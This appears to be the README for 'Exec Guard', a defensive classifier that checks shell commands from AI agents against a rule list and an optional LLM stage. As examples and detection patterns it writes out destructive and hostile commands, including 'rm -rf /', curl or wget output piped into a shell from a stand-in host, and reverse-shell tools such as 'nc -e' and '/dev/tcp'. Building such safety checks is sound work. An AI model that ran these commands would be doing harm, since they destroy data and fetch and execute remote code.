Exec Guard

Intelligent command permission classifier — detect dangerous shell commands before execution. Distilled from Claude Code bashClassifier + yoloClassifier.

Distilled from Claude Code bashClassifier (rule engine) + yoloClassifier (LLM two-stage XML classification). Provides a safety layer for any AI agent that executes shell commands.

When to use

• Before executing any shell command from AI output
• CI/CD pipeline command safety check
• Database operation safety (DROP TABLE, DELETE, etc.)
• File system operation safety (rm -rf, dd, mkfs, etc.)
• Network operation safety (curl | bash, wget | sh, etc.)

How it works

Two-layer classification:

1. Rule Engine (bashClassifier) — Fast pattern matching against known dangerous patterns:

   • File destruction: rm -rf, dd, mkfs, format
   • Network piping: curl | bash, wget | sh
   • Permission escalation: sudo, chmod 777, su
   • Database: DROP TABLE, DELETE FROM, TRUNCATE
   • System: shutdown, reboot, poweroff, init 0
   • Crypto: mining, encryption tools
   • Reverse shell: nc -e, bash -i, /dev/tcp

2. LLM Classifier (yoloClassifier) — Optional two-stage LLM classification for commands that pass the rule engine:

   • Stage 1: Think — analyze command intent
   • Stage 2: Decide — return allow/ask/deny

Usage

bash

# Check a single command
python3 {baseDir}/classifier.py --command "rm -rf /"

# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose

# Batch check from file
python3 {baseDir}/classifier.py --file commands.txt

# Use LLM classifier (requires LLM endpoint)
python3 {baseDir}/classifier.py --command "wget -O- http://evil.sh | sh" --llm --llm-url http://localhost:1234/v1/chat/completions

Output

json

{
  "command": "rm -rf /",
  "verdict": "deny",
  "risk_level": "critical",
  "matched_rules": ["file_destruction", "recursive_force_delete"],
  "reason": "Destructive recursive delete on root filesystem"
}

Verdicts

Verdict	Meaning
allow	Safe command, proceed
ask	Suspicious, ask user for confirmation
deny	Dangerous, block execution

Algorithm reference

Based on Claude Code src/services/permissions/bashClassifier.ts + yoloClassifier.ts:

• Pattern-based rule engine with weighted scoring
• LLM two-stage XML classification for edge cases
• Rejection tracking to prevent cascading false positives
• Configurable risk thresholds